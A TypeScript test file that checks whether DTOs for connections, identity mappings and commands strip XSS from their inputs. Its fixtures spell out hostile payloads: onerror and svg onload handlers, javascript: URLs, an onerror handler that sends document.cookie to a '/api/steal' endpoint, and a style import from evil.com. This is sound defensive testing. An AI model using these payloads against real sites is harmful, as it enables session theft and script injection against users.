/**
 * DTO Sanitization Integration Tests
 *
 * Tests that DTOs properly sanitize XSS attempts.
 */

import { describe, it, expect } from "vitest";
import { plainToInstance } from "class-transformer";
import { validate } from "class-validator";
import {
  RejectConnectionDto,
  DisconnectConnectionDto,
  AcceptConnectionDto,
} from "./connection.dto";
import { CreateIdentityMappingDto, UpdateIdentityMappingDto } from "./identity-linking.dto";
import { SendCommandDto, IncomingCommandDto } from "./command.dto";

describe("DTO Sanitization Integration", () => {
  describe("Connection DTOs", () => {
    it("should sanitize rejection reason", async () => {
      const dirty = {
        reason: '<script>alert("XSS")</script>Connection rejected',
      };

      const dto = plainToInstance(RejectConnectionDto, dirty);
      const errors = await validate(dto);

      expect(errors).toHaveLength(0);
      expect(dto.reason).not.toContain("<script>");
      expect(dto.reason).toContain("Connection rejected");
    });

    it("should sanitize disconnection reason", async () => {
      const dirty = {
        reason: '<img src=x onerror="alert(1)">Goodbye',
      };

      const dto = plainToInstance(DisconnectConnectionDto, dirty);
      const errors = await validate(dto);

      expect(errors).toHaveLength(0);
      expect(dto.reason).not.toContain("onerror");
      expect(dto.reason).toContain("Goodbye");
    });

    it("should sanitize acceptance metadata", async () => {
      const dirty = {
        metadata: {
          note: "<script>alert(1)</script>Important",
          nested: {
            value: "<img src=x onerror=\"fetch('/steal')\">",
          },
        },
      };

      const dto = plainToInstance(AcceptConnectionDto, dirty);
      const errors = await validate(dto);

      expect(errors).toHaveLength(0);
      expect(dto.metadata!.note).not.toContain("<script>");
      expect(dto.metadata!.note).toContain("Important");
      expect((dto.metadata!.nested as any).value).not.toContain("onerror");
    });
  });

  describe("Identity Linking DTOs", () => {
    it("should sanitize identity mapping metadata", async () => {
      const dirty = {
        remoteInstanceId: "instance-123",
        remoteUserId: "user-456",
        oidcSubject: "sub-789",
        email: "test@example.com",
        metadata: {
          displayName: '<script>alert("XSS")</script>John Doe',
          bio: '<img src=x onerror="alert(1)">Developer',
        },
      };

      const dto = plainToInstance(CreateIdentityMappingDto, dirty);
      const errors = await validate(dto);

      expect(errors).toHaveLength(0);
      expect(dto.metadata!.displayName).not.toContain("<script>");
      expect(dto.metadata!.displayName).toContain("John Doe");
      expect(dto.metadata!.bio).not.toContain("onerror");
    });

    it("should sanitize update metadata", async () => {
      const dirty = {
        metadata: {
          tags: ["<script>tag1</script>", "<b>tag2</b>"],
        },
      };

      const dto = plainToInstance(UpdateIdentityMappingDto, dirty);
      const errors = await validate(dto);

      expect(errors).toHaveLength(0);
      expect((dto.metadata!.tags as any)[0]).not.toContain("<script>");
      expect((dto.metadata!.tags as any)[1]).toContain("<b>");
    });
  });

  describe("Command DTOs", () => {
    it("should sanitize command payload", async () => {
      const dirty = {
        connectionId: "conn-123",
        commandType: "execute",
        payload: {
          script: '<script>alert("XSS")</script>console.log("hello")',
          params: {
            arg1: '<img src=x onerror="alert(1)">',
          },
        },
      };

      const dto = plainToInstance(SendCommandDto, dirty);
      const errors = await validate(dto);

      expect(errors).toHaveLength(0);
      expect(dto.payload.script).not.toContain("<script>");
      expect((dto.payload.params as any).arg1).not.toContain("onerror");
    });

    it("should sanitize incoming command payload", async () => {
      const dirty = {
        messageId: "msg-123",
        instanceId: "instance-456",
        commandType: "update",
        payload: {
          data: '<style>body{background:url("javascript:alert(1)")}</style>Data',
          metadata: {
            author: "<script>alert(1)</script>Admin",
          },
        },
        timestamp: Date.now(),
        signature: "sig-789",
      };

      const dto = plainToInstance(IncomingCommandDto, dirty);
      const errors = await validate(dto);

      expect(errors).toHaveLength(0);
      expect(dto.payload.data).not.toContain("<style>");
      expect(dto.payload.data).not.toContain("javascript:");
      expect((dto.payload.metadata as any).author).not.toContain("<script>");
    });

    it("should handle deeply nested XSS attempts", async () => {
      const dirty = {
        connectionId: "conn-123",
        commandType: "complex",
        payload: {
          level1: {
            level2: {
              level3: {
                xss: "<script>alert(1)</script>",
                array: ['<img src=x onerror="alert(2)">', "safe"],
              },
            },
          },
        },
      };

      const dto = plainToInstance(SendCommandDto, dirty);
      const errors = await validate(dto);

      expect(errors).toHaveLength(0);
      const level3 = (dto.payload.level1 as any).level2.level3;
      expect(level3.xss).not.toContain("<script>");
      expect(level3.array[0]).not.toContain("onerror");
      expect(level3.array[1]).toBe("safe");
    });
  });

  describe("XSS Attack Vectors", () => {
    it("should prevent javascript: URL injection", async () => {
      const dirty = {
        metadata: {
          link: '<a href="javascript:alert(1)">Click</a>',
        },
      };

      const dto = plainToInstance(AcceptConnectionDto, dirty);

      expect(dto.metadata!.link).not.toContain("javascript:");
    });

    it("should prevent data exfiltration attempts", async () => {
      const dirty = {
        reason: "<img src=x onerror=\"fetch('/api/steal?cookie='+document.cookie)\">",
      };

      const dto = plainToInstance(RejectConnectionDto, dirty);

      expect(dto.reason).not.toContain("onerror");
      expect(dto.reason).not.toContain("fetch");
      expect(dto.reason).not.toContain("document.cookie");
    });

    it("should prevent CSS-based XSS", async () => {
      const dirty = {
        metadata: {
          style: '<style>@import "http://evil.com/steal.css";</style>',
        },
      };

      const dto = plainToInstance(AcceptConnectionDto, dirty);

      expect(dto.metadata!.style).not.toContain("<style>");
      expect(dto.metadata!.style).not.toContain("@import");
    });

    it("should prevent SVG-based XSS", async () => {
      const dirty = {
        reason: '<svg onload="alert(1)">Test</svg>',
      };

      const dto = plainToInstance(RejectConnectionDto, dirty);

      expect(dto.reason).not.toContain("<svg");
      expect(dto.reason).not.toContain("onload");
    });
  });
});
